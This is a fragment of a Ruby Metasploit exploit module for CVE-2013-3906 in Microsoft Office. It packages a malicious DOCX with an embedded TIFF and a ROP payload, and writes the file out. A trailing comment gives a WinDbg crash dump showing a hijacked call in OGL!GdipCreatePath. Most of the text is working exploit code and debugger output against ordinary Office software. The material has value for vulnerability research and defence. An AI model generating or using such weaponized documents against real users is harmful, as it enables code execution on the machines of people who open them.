|
|
print_status("Packing file: #{tiff_file[:fname]}")
|
|
zip.add_file(tiff_file[:fname], tiff_file[:data])
|
|
|
|
print_status("Packing file: #{doc_xml[:fname]}")
|
|
zip.add_file(doc_xml[:fname], doc_xml[:xml])
|
|
|
|
print_status("Packing file: #{rels_xml[:fname]}")
|
|
zip.add_file(rels_xml[:fname], rels_xml[:data])
|
|
|
|
print_status("Packing file: #{doc_xml_reals_file[:fname]}")
|
|
zip.add_file(doc_xml_reals_file[:fname], doc_xml_reals_file[:data])
|
|
|
|
zip.pack
|
|
end
|
|
|
|
def exploit
|
|
@rop_payload = get_rop_payload
|
|
@schema = "http://schemas.openxmlformats.org/officeDocument/2006/relationships"
|
|
path = File.join(Msf::Config.data_directory, "exploits", "CVE-2013-3906")
|
|
docx = make_docx(path)
|
|
file_create(docx)
|
|
end
|
|
|
|
end
|
|
|
|
=begin
|
|
|
|
0:000> r
|
|
eax=414242f4 ebx=00000000 ecx=22a962a0 edx=44191398 esi=22c4d338 edi=1cfe5dc0
|
|
eip=44023a2a esp=0011fd8c ebp=0011fd98 iopl=0 nv up ei ng nz na pe nc
|
|
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010286
|
|
OGL!GdipCreatePath+0x58:
|
|
44023a2a ff5050 call dword ptr [eax+50h] ds:0023:41424344=????????
|
|
0:000> k
|
|
ChildEBP RetAddr
|
|
WARNING: Stack unwind information not available. Following frames may be wrong.
|
|
0011fd98 437a9681 OGL!GdipCreatePath+0x58
|
|
0011fdc8 437b11b0 gfx+0x9681
|
|
0011fdf0 422b56e5 gfx+0x111b0
|
|
0011fe18 422a99f7 oart!Ordinal3584+0x86
|
|
0011fed8 422a9921 oart!Ordinal7649+0x2b2
|
|
0011fef0 422a8676 oart!Ordinal7649+0x1dc
|
|
001200bc 422a85a8 oart!Ordinal4145+0x199
|
|
001200fc 424898c6 oart!Ordinal4145+0xcb
|
|
001201bc 42489b56 oart!Ordinal3146+0xb15
|
|
001202cc 422a37df oart!Ordinal3146+0xda5
|
|
00120330 422a2a73 oart!Ordinal2862+0x14e
|
|
00120360 317821a9 oart!Ordinal2458+0x5e
|
|
001203bc 31782110 wwlib!GetAllocCounters+0x9bd51
|
|
001204a4 3177d1f2 wwlib!GetAllocCounters+0x9bcb8
|
|
001207ec 3177caef wwlib!GetAllocCounters+0x96d9a
|
|
0012088c 3177c7a0 wwlib!GetAllocCounters+0x96697
|
|
001209b0 3175ab83 wwlib!GetAllocCounters+0x96348
|
|
001209d4 317569e0 wwlib!GetAllocCounters+0x7472b
|
|
00120ad4 317540f5 wwlib!GetAllocCounters+0x70588
|
|
00120afc 3175400b wwlib!GetAllocCounters+0x6dc9d
|
|
|
|
To-do:
|
|
Turn the docx packaging into a mixin. Good luck with that.
|
|
|
|
=end
|